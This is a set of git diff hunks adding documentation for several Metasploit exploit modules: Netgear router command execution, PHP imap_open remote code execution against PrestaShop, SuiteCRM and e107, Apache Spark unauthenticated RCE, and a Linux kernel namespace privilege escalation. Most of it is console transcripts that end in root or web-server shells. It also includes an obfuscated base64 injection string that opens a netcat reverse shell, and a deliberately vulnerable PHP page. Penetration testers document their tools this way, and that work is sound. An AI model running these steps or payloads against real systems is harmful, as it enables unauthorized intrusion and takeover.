[*] Started reverse TCP handler on 192.168.200.99:4444
|
||||
[*] Using URL: http://192.168.200.99:8080/Ekvrz8LbW
|
||||
[*] Client 192.168.200.100 (Wget) requested /Ekvrz8LbW
|
||||
[*] Sending payload to 192.168.200.100 (Wget)
|
||||
[*] Command shell session 1 opened (192.168.200.99:4444 -> 192.168.200.100:56852) at 2018-10-09 20:24:56 +0630
|
||||
[*] Command Stager progress - 118.97% done (138/116 bytes)
|
||||
[*] Server stopped.
|
||||
|
||||
uname -a
|
||||
Linux netgear123456 2.6.32.70 #1 Thu Feb 18 01:39:21 UTC 2016 mips unknown
|
||||
id
|
||||
uid=0(root) gid=0(root)
|
||||
|
||||
```
|
||||
|
||||
## Example with meterpreter (linux/mipsbe/meterpreter/reverse_tcp)
|
||||
|
||||
```
|
||||
msf > use exploit/linux/http/netgear_unauth_exec
|
||||
msf exploit(linux/http/netgear_unauth_exec) > set RHOST 192.168.200.100
|
||||
RHOST => 192.168.200.100
|
||||
msf exploit(linux/http/netgear_unauth_exec) > set PAYLOAD linux/mipsbe/meterpreter/reverse_tcp
|
||||
PAYLOAD => linux/mipsbe/meterpreter/reverse_tcp
|
||||
msf exploit(linux/http/netgear_unauth_exec) > set LHOST 192.168.200.99
|
||||
LHOST => 192.168.200.99
|
||||
msf exploit(linux/http/netgear_unauth_exec) > set SRVHOST 192.168.200.99
|
||||
SRVHOST => 192.168.200.99
|
||||
msf exploit(linux/http/netgear_unauth_exec) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.200.99:4444
|
||||
[*] Using URL: http://192.168.200.99:8080/x6ZYzUoe9x7IR
|
||||
[*] Client 192.168.200.100 (Wget) requested /x6ZYzUoe9x7IR
|
||||
[*] Sending payload to 192.168.200.100 (Wget)
|
||||
[*] Sending stage (1108408 bytes) to 192.168.200.100
|
||||
[*] Meterpreter session 1 opened (192.168.200.99:4444 -> 192.168.200.100:56854) at 2018-10-09 20:26:39 +0630
|
||||
[*] Command Stager progress - 118.33% done (142/120 bytes)
|
||||
[*] Server stopped.
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.200.100
|
||||
OS : (Linux 2.6.32.70)
|
||||
Architecture : mips
|
||||
BuildTuple : mips-linux-muslsf
|
||||
Meterpreter : mipsbe/linux
|
||||
meterpreter > getuid
|
||||
Server username: uid=0, gid=0, euid=0, egid=0
|
||||
meterpreter >
|
||||
|
||||
```
|
||||
|
||||
## Example using some other vulnerable URI (boardDataNA.php)
|
||||
```
|
||||
msf > use exploit/linux/http/netgear_unauth_exec
|
||||
msf exploit(linux/http/netgear_unauth_exec) > set RHOST 192.168.200.100
|
||||
RHOST => 192.168.200.100
|
||||
msf exploit(linux/http/netgear_unauth_exec) > set TARGETURI boardDataNA.php
|
||||
TARGETURI => boardDataNA.php
|
||||
msf exploit(linux/http/netgear_unauth_exec) > set LHOST 192.168.200.99
|
||||
LHOST => 192.168.200.99
|
||||
msf exploit(linux/http/netgear_unauth_exec) > set SRVHOST 192.168.200.99
|
||||
SRVHOST => 192.168.200.99
|
||||
msf exploit(linux/http/netgear_unauth_exec) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.200.99:4444
|
||||
[*] Using URL: http://192.168.200.99:8080/zlJyAS8F1As
|
||||
[*] Client 192.168.200.100 (Wget) requested /zlJyAS8F1As
|
||||
[*] Sending payload to 192.168.200.100 (Wget)
|
||||
[*] Command shell session 1 opened (192.168.200.99:4444 -> 192.168.200.100:56856) at 2018-10-09 20:28:41 +0630
|
||||
[*] Command Stager progress - 118.64% done (140/118 bytes)
|
||||
[*] Server stopped.
|
||||
|
||||
uname -a
|
||||
Linux netgear123456 2.6.32.70 #1 Thu Feb 18 01:39:21 UTC 2016 mips unknown
|
||||
id
|
||||
uid=0(root) gid=0(root)
|
||||
```
|
|
@ -0,0 +1,400 @@
|
|||
## Vulnerable Application
|
||||
|
||||
The [imap_open](http://php.net/manual/en/function.imap-open.php) function within php,
|
||||
if called without the `/norsh` flag, will attempt to preauthenticate an IMAP session.
|
||||
On Debian based systems, including Ubuntu, `rsh` is mapped to the ssh binary. Ssh's
|
||||
`ProxyCommand` option can be passed from `imap_open` to execute arbitrary commands.
|
||||
While many custom applications may use `imap_open`, it is reported that the following
|
||||
applications are vulnerable:
|
||||
|
||||
* [prestashop](https://github.com/PrestaShop/PrestaShop/blob/0d53d6b58b951ac364ad44671cf1ae9bf7ab6aed/controllers/admin/AdminCustomerThreadsController.php#L1010)
|
||||
* [SuiteCRM](https://github.com/salesagility/SuiteCRM/blob/153b2bae76097cdba9fc9c025bcd829a702b8687/modules/InboundEmail/EditView.php#L260)
|
||||
* [e107 v2](https://github.com/e107inc/e107/blob/7570b7ce4e17c03e9759c90889db8e750d566e53/e107_handlers/pop_bounce_handler.php#L83)
|
||||
|
||||
Prestashop exploitation requires the admin URI, and administrator credentials.
|
||||
|
||||
SuiteCRM exploitation requires administrator credentials.
|
||||
|
||||
e107 v2 exploitation requires administrator credentials.
|
||||
|
||||
Additional applications were reported vulnerable, but exploits were not written. See [#10987](https://github.com/rapid7/metasploit-framework/pull/10987) for additional details.
|
||||
|
||||
### Prestashop 1.7.2.4 on Ubuntu 16.04
|
||||
|
||||
Mostly derived from [websiteforstudents.com](https://websiteforstudents.com/install-prestashop-on-ubuntu-17-04-17-10-with-apache2-mariadb-and-php/),
|
||||
with a few tweeks for Ubuntu 16.04, and to install PHP's imap mod.
|
||||
|
||||
```
|
||||
sudo apt install apache2
|
||||
sudo sed -i "s/Options Indexes FollowSymLinks/Options FollowSymLinks/" /etc/apache2/apache2.conf
|
||||
sudo systemctl stop apache2.service
|
||||
sudo systemctl start apache2.service
|
||||
sudo systemctl enable apache2.service
|
||||
sudo apt-get install mariadb-server mariadb-client
|
||||
sudo systemctl stop mysql.service
|
||||
sudo systemctl start mysql.service
|
||||
sudo systemctl enable mysql.service
|
||||
sudo mysql_secure_installation
|
||||
sudo systemctl restart mysql.service
|
||||
sudo apt install php libapache2-mod-php php-common php-mbstring php-xmlrpc php-soap php-gd php-xml php-intl php-mysql php-cli php-mcrypt php-ldap php-zip php-curl php-imap
|
||||
sudo phpenmod imap
|
||||
sudo mysql -u root -p
|
||||
```
|
||||
|
||||
Run the following database commands:
|
||||
|
||||
```
|
||||
CREATE DATABASE prestashop;
|
||||
CREATE USER 'prestashopuser'@'localhost' IDENTIFIED BY 'new_password_here';
|
||||
GRANT ALL ON prestashop.* TO 'prestashopuser'@'localhost' IDENTIFIED BY 'user_password_here' WITH GRANT OPTION;
|
||||
FLUSH PRIVILEGES;
|
||||
EXIT;
|
||||
```
|
||||
|
||||
```
|
||||
cd /tmp && curl -O https://download.prestashop.com/download/releases/prestashop_1.7.2.4.zip
|
||||
unzip prestashop_1.7.2.4.zip
|
||||
sudo mkdir -p /var/www/html/prestashop
|
||||
sudo unzip prestashop.zip -d /var/www/html/prestashop/
|
||||
sudo chown -R www-data:www-data /var/www/html/prestashop/
|
||||
sudo chmod -R 755 /var/www/html/prestashop/
|
||||
sudo nano /etc/apache2/sites-available/prestashop.conf
|
||||
```
|
||||
|
||||
Utilize the following configuration:
|
||||
|
||||
```
|
||||
<VirtualHost *:80>
|
||||
ServerAdmin admin@example.com
|
||||
DocumentRoot /var/www/html/prestashop/
|
||||
ServerName example.com
|
||||
ServerAlias www.example.com
|
||||
|
||||
<Directory /var/www/html/prestashop/>
|
||||
Options +FollowSymlinks
|
||||
AllowOverride All
|
||||
Require all granted
|
||||
</Directory>
|
||||
|
||||
ErrorLog ${APACHE_LOG_DIR}/error.log
|
||||
CustomLog ${APACHE_LOG_DIR}/access.log combined
|
||||
|
||||
</VirtualHost>
|
||||
```
|
||||
|
||||
```
|
||||
sudo a2ensite prestashop.conf
|
||||
sudo a2enmod rewrite
|
||||
sudo a2dissite 000-default
|
||||
sudo systemctl restart apache2.service
|
||||
```
|
||||
|
||||
Browse to the website, and install with default information.
|
||||
|
||||
```
|
||||
sudo rm -rf /var/www/html/prestashop/install/
|
||||
```
|
||||
|
||||
Now browse to `/admin`, and the first time you'll be redirected to the admin URI. If not, `sudo ls /var/www/html/prestashop/admin*`.
|
||||
|
||||
### SuiteCRM 7.8.23 on Ubuntu 16.04
|
||||
|
||||
Mostly derived from [vultr.com](https://www.vultr.com/docs/how-to-install-suitecrm-on-ubuntu-16-04) but adding php's zip and mbstring packages.
|
||||
|
||||
```
|
||||
sudo apt-get install apache2 mariadb-server php7.0 php7.0-mysql php7.0-gd php7.0-curl php7.0-imap libapache2-mod-php7.0 php7.0-mcrypt php7.0-xml php7.0-json php7.0-mbstring php7.0-zip -y
|
||||
sudo systemctl restart apache2
|
||||
sudo phpenmod imap
|
||||
sudo mysql_secure_installation
|
||||
```
|
||||
|
||||
```
|
||||
wget https://suitecrm.com/files/156/SuiteCRM-7.8/322/SuiteCRM-7.8.23.zip
|
||||
unzip SuiteCRM-7.8.23.zip
|
||||
sudo mv SuiteCRM-7.8.23 /var/www/html/suitecrm
|
||||
sudo chown -R www-data:www-data /var/www/html/suitecrm
|
||||
sudo chmod -R 777 /var/www/html/suitecrm
|
||||
sudo nano /etc/apache2/sites-available/suitecrm.conf
|
||||
```
|
||||
|
||||
Utilize the following configuration:
|
||||
|
||||
```
|
||||
<VirtualHost *:80>
|
||||
ServerAdmin admin@yourdomain.com
|
||||
DocumentRoot /var/www/html/suitecrm/
|
||||
ServerName yourdomain.com
|
||||
ServerAlias www.yourdomain.com
|
||||
<Directory /var/www/html/suitecrm/>
|
||||
Options FollowSymLinks
|
||||
AllowOverride All
|
||||
</Directory>
|
||||
ErrorLog /var/log/apache2/suitecrm-error_log
|
||||
CustomLog /var/log/apache2/suitecrm-access_log common
|
||||
</VirtualHost>
|
||||
```
|
||||
|
||||
```
|
||||
sudo a2ensite suitecrm
|
||||
sudo a2dissite 000-default.conf
|
||||
sudo systemctl restart apache2
|
||||
sudo systemctl restart mysql
|
||||
```
|
||||
|
||||
### e107 2.1.9 on Ubuntu 16.04
|
||||
|
||||
Mostly derived from [websiteforstudents.com](https://websiteforstudents.com/install-e107-cms-on-ubuntu-16-04-18-04-18-10-with-apache2-mariadb-and-php-7-2/),
|
||||
however with php 7.0 instead of 7.2.
|
||||
|
||||
```
|
||||
sudo apt install apache2 mariadb-server mariadb-client php7.0 libapache2-mod-php7.0 php7.0-common php7.0-mysql php7.0-gmp php7.0-curl php7.0-intl php7.0-mbstring php7.0-xmlrpc php7.0-gd php7.0-bcmath php7.0-xml php7.0-cli php7.0-zip php7.0-imap -y
|
||||
sudo systemctl restart apache2.service
|
||||
sudo systemctl stop mysql.service
|
||||
sudo systemctl start mysql.service
|
||||
sudo systemctl enable mysql.service
|
||||
sudo mysql_secure_installation
|
||||
sudo mysql -u root -p
|
||||
```
|
||||
|
||||
Run the following database commands:
|
||||
|
||||
```
|
||||
CREATE DATABASE e107;
|
||||
CREATE USER 'e107user'@'localhost' IDENTIFIED BY 'new_password_here';
|
||||
GRANT ALL ON e107.* TO 'e107user'@'localhost' IDENTIFIED BY 'new_password_here' WITH GRANT OPTION;
|
||||
FLUSH PRIVILEGES;
|
||||
EXIT;
|
||||
```
|
||||
|
||||
```
|
||||
cd /tmp
|
||||
wget http://sourceforge.net/projects/e107/files/e107/e107%20v2.1.9/e107_2.1.9_full.zip
|
||||
sudo unzip -d /var/www/html/e107 /tmp/e107_2.1.9_full.zip
|
||||
sudo chown -R www-data:www-data /var/www/html/e107/
|
||||
sudo chmod -R 755 /var/www/html/e107/
|
||||
sudo nano /etc/apache2/sites-available/e107.conf
|
||||
```
|
||||
|
||||
Utilize the following configuration:
|
||||
|
||||
```
|
||||
<VirtualHost *:80>
|
||||
ServerAdmin admin@example.com
|
||||
DocumentRoot /var/www/html/e107
|
||||
ServerName example.com
|
||||
ServerAlias www.example.com
|
||||
|
||||
<Directory /var/www/html/e107/>
|
||||
Options FollowSymlinks
|
||||
AllowOverride All
|
||||
Require all granted
|
||||
</Directory>
|
||||
|
||||
ErrorLog ${APACHE_LOG_DIR}/error.log
|
||||
CustomLog ${APACHE_LOG_DIR}/access.log combined
|
||||
|
||||
<Directory /var/www/html/e107/>
|
||||
RewriteEngine on
|
||||
RewriteBase /
|
||||
RewriteCond %{REQUEST_FILENAME} !-f
|
||||
RewriteRule ^(.*) index.php [PT,L]
|
||||
</Directory>
|
||||
</VirtualHost>
|
||||
```
|
||||
|
||||
```
|
||||
sudo a2ensite e107.conf
|
||||
sudo a2enmod rewrite
|
||||
sudo a2dissite 000-default
|
||||
sudo systemctl restart apache2.service
|
||||
sudo systemctl restart mysql.server
|
||||
sudo systemctl restart mysql.service
|
||||
```
|
||||
|
||||
### Custom Page on Ubuntu 16.04
|
||||
|
||||
Make sure `php-imap` is installed and enabled. Create `imap.php` with the following content.
|
||||
|
||||
```
|
||||
<html>
|
||||
<body>
|
||||
<p>imap_open example exploitation page. Use URL parameter 'server'. Ex http://1.1.1.1/imap.php?server=EXPLOITHERE</p>
|
||||
<?php
|
||||
$server = htmlspecialchars($_GET["server"]);
|
||||
$mbox = @imap_open("{".$server.":143}INBOX",'username','password');
|
||||
echo '<p>Received: '.$server.'</p>';
|
||||
|
||||
$errors = imap_errors();
|
||||
if (is_array($errors)) {
|
||||
$errors = array_unique($errors);
|
||||
}
|
||||
if (count($errors) && is_array($errors)) {
|
||||
$str_errors = '';
|
||||
foreach ($errors as $error) {
|
||||
$str_errors .= $error . ', ';
|
||||
}
|
||||
$str_errors = rtrim(trim($str_errors), ',');
|
||||
}
|
||||
if (!$mbox) {
|
||||
echo '<p>Errors: ' . ($str_errors);
|
||||
}
|
||||
?>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install a vulnerable application
|
||||
2. Start msfconsole
|
||||
3. Do: ```use exploit/linux/http/php_imap_open_rce```
|
||||
4. Do: ```set TARGETURI [URI]```
|
||||
5. Do: ```set USERNAME [username]```
|
||||
6. Do: ```set PASSWORD [password]```
|
||||
7. Do: ```set target [target]```
|
||||
8. Do: ```run```
|
||||
9. You should get a shell.
|
||||
|
||||
## Options
|
||||
|
||||
**TARGETURI**
|
||||
|
||||
The URI for the target. This may change by target. Default is ` `.
|
||||
Prestashop should be the admin URI, similar to `/admin2769gx8k3`.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### PrestaShop 1.7.2.4 on Ubuntu 16.04.4 with PHP 7.0
|
||||
|
||||
```
|
||||
resource (presta.rb)> use exploit/linux/http/php_imap_open_rce
|
||||
resource (presta.rb)> set TARGETURI /admin2769gx8k3
|
||||
TARGETURI => /admin2769gx8k3
|
||||
resource (presta.rb)> set USERNAME ubuntu@none.com
|
||||
USERNAME => ubuntu@none.com
|
||||
resource (presta.rb)> set PASSWORD ubuntuubuntu
|
||||
PASSWORD => ubuntuubuntu
|
||||
resource (presta.rb)> set rhosts 1.1.1.1
|
||||
rhosts => 1.1.1.1
|
||||
resource (presta.rb)> set lhost 2.2.2.2
|
||||
lhost => 2.2.2.2
|
||||
resource (presta.rb)> set target 0
|
||||
target => 0
|
||||
resource (presta.rb)> set verbose true
|
||||
verbose => true
|
||||
resource (presta.rb)> exploit
|
||||
[*] Started reverse TCP handler on 2.2.2.2:4444
|
||||
[*] Redirected to http://1.1.1.1/admin2769gx8k3/
|
||||
[*] Redirected to http://1.1.1.1/admin2769gx8k3/index.php?controller=AdminLogin&token=6dab1f7b4eea17d2b44a8929ead9df68
|
||||
[*] Token: 6dab1f7b4eea17d2b44a8929ead9df68 and Login Redirect: http://1.1.1.1/admin2769gx8k3/&token=09283f9efc45fc75eca3b8d5f1b1f92f
|
||||
[*] Logging in with ubuntu@none.com:ubuntuubuntu
|
||||
[*] Login JSON Response: {"hasErrors":false,"redirect":"http:\/\/1.1.1.1\/admin2769gx8k3\/index.php?controller=AdminDashboard&token=e324e8b387afb1874947db9b1ba411c8"}
|
||||
[+] Login Success, loading admin dashboard to pull tokens
|
||||
[*] Customer Threads Token: ec653c8bfc09754fc63aaa94101911dc
|
||||
[+] Sending Payload with Final Token: ec653c8bfc09754fc63aaa94101911dc
|
||||
[*] IMAP server change left on server, manual revert required.
|
||||
[*] Command shell session 1 opened (2.2.2.2:4444 -> 1.1.1.1:41964) at 2018-11-20 18:29:28 -0500
|
||||
|
||||
uname -a
|
||||
Linux ubuntu1604 4.4.0-138-generic #164-Ubuntu SMP Tue Oct 2 17:16:02 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
|
||||
id
|
||||
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||||
```
|
||||
|
||||
### SuiteCRM 7.8.23 on Ubuntu 16.04.4 with PHP 7.0
|
||||
|
||||
```
|
||||
resource (suitecrm.rb)> use exploit/linux/http/php_imap_open_rce
|
||||
resource (suitecrm.rb)> set target 1
|
||||
target => 1
|
||||
resource (suitecrm.rb)> set TARGETURI /
|
||||
TARGETURI => /
|
||||
resource (suitecrm.rb)> set USERNAME admin
|
||||
USERNAME => admin
|
||||
resource (suitecrm.rb)> set PASSWORD admin
|
||||
PASSWORD => admin
|
||||
resource (suitecrm.rb)> set rhosts 1.1.1.1
|
||||
rhosts => 1.1.1.1
|
||||
resource (suitecrm.rb)> set lhost 2.2.2.2
|
||||
lhost => 2.2.2.2
|
||||
resource (suitecrm.rb)> set verbose true
|
||||
verbose => true
|
||||
resource (suitecrm.rb)> exploit
|
||||
[*] Started reverse TCP handler on 2.2.2.2:4444
|
||||
[*] Loading login page
|
||||
[*] Logging in as admin:admin
|
||||
[+] Login Success
|
||||
[*] Loading InboundEmail page
|
||||
[+] Sending payload with group_id f047031d-1697-3d0d-bd39-5bf499e5470a
|
||||
[*] IMAP server config left on server, manual removal required.
|
||||
[*] Command shell session 1 opened (2.2.2.2:4444 -> 1.1.1.1:32806) at 2018-11-20 18:31:40 -0500
|
||||
|
||||
uname -a
|
||||
Linux ubuntu1604 4.4.0-134-generic #160-Ubuntu SMP Wed Aug 15 14:58:00 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
|
||||
id
|
||||
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||||
```
|
||||
|
||||
### e107 2.1.9 on Ubuntu 16.04.4 with PHP 7.0
|
||||
|
||||
```
|
||||
resource (e107.rb)> use exploit/linux/http/php_imap_open_rce
|
||||
resource (e107.rb)> set target 2
|
||||
target => 2
|
||||
resource (e107.rb)> set TARGETURI /
|
||||
TARGETURI => /
|
||||
resource (e107.rb)> set USERNAME admin
|
||||
USERNAME => admin
|
||||
resource (e107.rb)> set PASSWORD admin
|
||||
PASSWORD => admin
|
||||
resource (e107.rb)> set rhosts 1.1.1.1
|
||||
rhosts => 1.1.1.1
|
||||
resource (e107.rb)> set lhost 2.2.2.2
|
||||
lhost => 2.2.2.2
|
||||
resource (e107.rb)> set verbose true
|
||||
verbose => true
|
||||
resource (e107.rb)> exploit
|
||||
[*] Started reverse TCP handler on 2.2.2.2:4444
|
||||
[*] Logging in as admin:admin
|
||||
[+] Login Success
|
||||
[*] Checking if Cron is enabled for triggering
|
||||
[+] Storing payload in mail settings
|
||||
[*] Loading cron page to execute job manually
|
||||
[+] Triggering manual run of mail bounce check cron to execute payload with cron id 3 and etoken 3b6aa8ca02dbd2bf8218874606c5e2f1
|
||||
[*] IMAP server config left on server, manual removal required.
|
||||
[*] Command shell session 1 opened (2.2.2.2:4444 -> 1.1.1.1:50742) at 2018-11-23 20:01:13 -0500
|
||||
|
||||
uname -a
|
||||
Linux ubuntu1604 4.4.0-134-generic #160-Ubuntu SMP Wed Aug 15 14:58:00 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
|
||||
id
|
||||
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||||
```
|
||||
|
||||
### Custom Page on Ubuntu 16.04
|
||||
|
||||
Using the `imap.php` page listed above.
|
||||
|
||||
```
|
||||
msf5 > use exploit/linux/http/php_imap_open_rce
|
||||
msf5 exploit(linux/http/php_imap_open_rce) > set target 3
|
||||
target => 3
|
||||
msf5 exploit(linux/http/php_imap_open_rce) > set lhost 1.1.1.1
|
||||
lhost => 1.1.1.1
|
||||
msf5 exploit(linux/http/php_imap_open_rce) > set rhost 2.2.2.2
|
||||
rhost => 2.2.2.2
|
||||
msf5 exploit(linux/http/php_imap_open_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||||
[*] Listener started for 300 seconds
|
||||
[+] POST request connection string: x -oProxyCommand=`echo$IFS$()bWtmaWZvIC90bXAvaWVib3U7IG5jIDE5Mi4xNjguMi4xMTcgNDQ0NCAwPC90bXAvaWVib3UgfCAvYmluL3NoID4vdG1wL2llYm91IDI+JjE7IHJtIC90bXAvaWVib3U=|base64$IFS$()-d|bash`}
|
||||
[+] GET request connection string: x%20-oProxyCommand=%60echo$IFS$()bWtmaWZvIC90bXAvaWVib3U7IG5jIDE5Mi4xNjguMi4xMTcgNDQ0NCAwPC90bXAvaWVib3UgfCAvYmluL3NoID4vdG1wL2llYm91IDI%2BJjE7IHJtIC90bXAvaWVib3U=%7Cbase64$IFS$()-d%7Cbash%60%7D
|
||||
[*] Command shell session 1 opened (1.1.1.1:4444 -> 2.2.2.2:41124) at 2018-11-25 10:52:55 -0500
|
||||
|
||||
uname -a
|
||||
Linux ubuntu1604 4.4.0-134-generic #160-Ubuntu SMP Wed Aug 15 14:58:00 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
|
||||
id
|
||||
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||||
```
|
||||
|
||||
The GET request was utilized, and the final URL utilized was: `http://2.2.2.2/imap.php?server=x%20-oProxyCommand=%60echo$IFS$()bWtmaWZvIC90bXAvaWVib3U7IG5jIDE5Mi4xNjguMi4xMTcgNDQ0NCAwPC90bXAvaWVib3UgfCAvYmluL3NoID4vdG1wL2llYm91IDI%2BJjE7IHJtIC90bXAvaWVib3U=%7Cbase64$IFS$()-d%7Cbash%60%7D`
|
|
@ -0,0 +1,70 @@
|
|||
## Description
|
||||
|
||||
This module exploits an unauthenticated command execution vulnerability in Apache Spark with standalone cluster mode through REST API.
|
||||
It uses the function CreateSubmissionRequest to submit a malious java class and trigger it.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
https://github.com/vulhub/vulhub/tree/master/spark/unacc
|
||||
|
||||
`docker-compose up -d`
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. get session on target
|
||||
2. `use exploit/linux/http/spark_unauth_rce`
|
||||
3. `set payload <payload>`
|
||||
4. `set rhosts <rhosts>`
|
||||
5. `set rport <rport>`
|
||||
6. `set srvhost <srvhost>`
|
||||
7. `set srvport <srvport>`
|
||||
8. `set lport <lport>`
|
||||
9. `set lhost <lhost>`
|
||||
10. `exploit`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Spark 2.3.1
|
||||
|
||||
```
|
||||
msf5 > use exploit/linux/http/spark_unauth_rce
|
||||
msf5 exploit(linux/http/spark_unauth_rce) > set rhosts 127.0.0.1
|
||||
rhosts => 127.0.0.1
|
||||
msf5 exploit(linux/http/spark_unauth_rce) > set rport 6066
|
||||
rport => 6066
|
||||
msf5 exploit(linux/http/spark_unauth_rce) > set srvhost 10.139.14.167
|
||||
srvhost => 10.139.14.167
|
||||
msf5 exploit(linux/http/spark_unauth_rce) > set srvport 9999
|
||||
srvport => 9999
|
||||
msf5 exploit(linux/http/spark_unauth_rce) > set payload java/meterpreter/reverse_tcp
|
||||
payload => java/meterpreter/reverse_tcp
|
||||
msf5 exploit(linux/http/spark_unauth_rce) > set lhost 10.139.14.167
|
||||
lhost => 10.139.14.167
|
||||
msf5 exploit(linux/http/spark_unauth_rce) > set lport 5555
|
||||
lport => 5555
|
||||
msf5 exploit(linux/http/spark_unauth_rce) > exploit
|
||||
[*] Exploit running as background job 3.
|
||||
[*] Exploit completed, but no session was created.
|
||||
|
||||
[*] Started reverse TCP handler on 10.139.14.167:5555
|
||||
msf5 exploit(linux/http/spark_unauth_rce) > [*] Starting up our web service ...
|
||||
[*] Using URL: http://10.139.14.167:9999/feTYHNiHufrGI
|
||||
[*] 127.0.0.1:6066 - Sending the payload to the server...
|
||||
[*] Sending stage (53867 bytes) to 10.139.14.167
|
||||
[*] Meterpreter session 2 opened (10.139.14.167:5555 -> 10.139.14.167:56021) at 2018-11-12 16:59:33 +0800
|
||||
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > sessions
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
2 meterpreter java/linux root @ 96b2135aee9c 10.139.14.167:5555 -> 10.139.14.167:56021 (127.0.0.1)
|
||||
|
||||
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > sessions -i 2
|
||||
[*] Starting interaction with 2...
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter >
|
||||
```
|
|
@ -10,10 +10,10 @@
|
|||
4.4.0 < 4.4.0-53, including Linux distros based on Ubuntu, such as
|
||||
Linux Mint.
|
||||
|
||||
The target system must have unprivileged user namespaces enabled and
|
||||
two or more CPU cores.
|
||||
The target system must have unprivileged user namespaces enabled,
|
||||
two or more CPU cores, and SMAP must be disabled.
|
||||
|
||||
Bypasses for SMEP, SMAP and KASLR are included. Failed exploitation
|
||||
Bypasses for SMEP and KASLR are included. Failed exploitation
|
||||
may crash the kernel.
|
||||
|
||||
|
||||
|
|
|
@ -24,7 +24,7 @@ This module has been tested against:
|
|||
|
||||
**timing**
|
||||
|
||||
Set cron's timing. Default is to run within a minute. If this is changed, WsfDelay should be adjusted to compensate
|
||||
Set cron's timing. Default is to run within a minute. If this is changed, WfsDelay should be adjusted to compensate
|
||||
|
||||
**cleanup**
|
||||
|
||||
|
|
|
@ -0,0 +1,129 @@
|
|||
## Description
|
||||
|
||||
This module exploits a vulnerability in Linux kernels 4.15.0 to 4.18.18,
|
||||
and 4.19.0 to 4.19.1, where broken uid/gid mappings between nested user
|
||||
namespaces and kernel uid/gid mappings allow elevation to root
|
||||
(CVE-2018-18955).
|
||||
|
||||
The target system must have unprivileged user namespaces enabled and
|
||||
the newuidmap and newgidmap helpers installed (from uidmap package).
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
This module has been tested successfully on:
|
||||
|
||||
* Fedora Workstation 28 kernel 4.16.3-301.fc28.x86_64
|
||||
* Kubuntu 18.04 LTS kernel 4.15.0-20-generic (x86_64)
|
||||
* Linux Mint 19 kernel 4.15.0-20-generic (x86_64)
|
||||
* Ubuntu Linux 18.04.1 LTS kernel 4.15.0-20-generic (x86_64)
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. Get a session
|
||||
3. `use exploit/linux/local/nested_namespace_idmap_limit_priv_esc`
|
||||
4. `set SESSION <SESSION>`
|
||||
5. `check`
|
||||
6. `run`
|
||||
7. You should get a new *root* session
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
**SESSION**
|
||||
|
||||
Which session to use, which can be viewed with `sessions`
|
||||
|
||||
**WritableDir**
|
||||
|
||||
A writable directory file system path. (default: `/tmp`)
|
||||
|
||||
**COMPILE**
|
||||
|
||||
Options: `Auto` `True` `False` (default: `Auto`)
|
||||
|
||||
Whether the exploit should be live compiled with `gcc` on the target system,
|
||||
or uploaded as a pre-compiled binary.
|
||||
|
||||
`Auto` will first determine if `gcc` is installed to compile live on the system,
|
||||
and fall back to uploading pre-compiled binaries.
|
||||
|
||||
|
||||
## Compiled Executables
|
||||
|
||||
The module makes use of two pre-compiled exploit executables:
|
||||
|
||||
* `subuid_shell`
|
||||
* `subshell`
|
||||
|
||||
These are used when `gcc` is not available on the target host for live compiling,
|
||||
or `COMPILE` is set to `False`.
|
||||
|
||||
The executables were cross-compiled with [musl-cross](https://s3.amazonaws.com/muslcross/musl-cross-linux-6.tar).
|
||||
|
||||
```bash
|
||||
./i486-linux-musl-gcc -o subshell.out -s -pie -static subshell.c
|
||||
./i486-linux-musl-gcc -o subuid_shell.out -s -pie -static subuid_shell.c
|
||||
```
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Fedora Workstation 28 (verbose output)
|
||||
|
||||
```
|
||||
msf5 > use exploit/linux/local/nested_namespace_idmap_limit_priv_esc
|
||||
msf5 exploit(linux/local/nested_namespace_idmap_limit_priv_esc) > set payload linux/x64/meterpreter/reverse_tcp
|
||||
payload => linux/x64/meterpreter/reverse_tcp
|
||||
msf5 exploit(linux/local/nested_namespace_idmap_limit_priv_esc) > set session 1
|
||||
session => 1
|
||||
msf5 exploit(linux/local/nested_namespace_idmap_limit_priv_esc) > set lhost 172.16.191.188
|
||||
lhost => 172.16.191.188
|
||||
msf5 exploit(linux/local/nested_namespace_idmap_limit_priv_esc) > set verbose true
|
||||
verbose => true
|
||||
msf5 exploit(linux/local/nested_namespace_idmap_limit_priv_esc) > check
|
||||
|
||||
[+] Unprivileged user namespaces are permitted
|
||||
[+] /usr/bin/newuidmap is set-uid
|
||||
[+] /usr/bin/newgidmap is set-uid
|
||||
[+] Kernel version 4.16.3-301.fc28.x86_64 appears to be vulnerable
|
||||
[*] The target appears to be vulnerable.
|
||||
msf5 exploit(linux/local/nested_namespace_idmap_limit_priv_esc) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.16.191.188:4444
|
||||
[+] Unprivileged user namespaces are permitted
|
||||
[+] /usr/bin/newuidmap is set-uid
|
||||
[+] /usr/bin/newgidmap is set-uid
|
||||
[+] Kernel version 4.16.3-301.fc28.x86_64 appears to be vulnerable
|
||||
[+] gcc is installed
|
||||
[*] Live compiling exploit on system...
|
||||
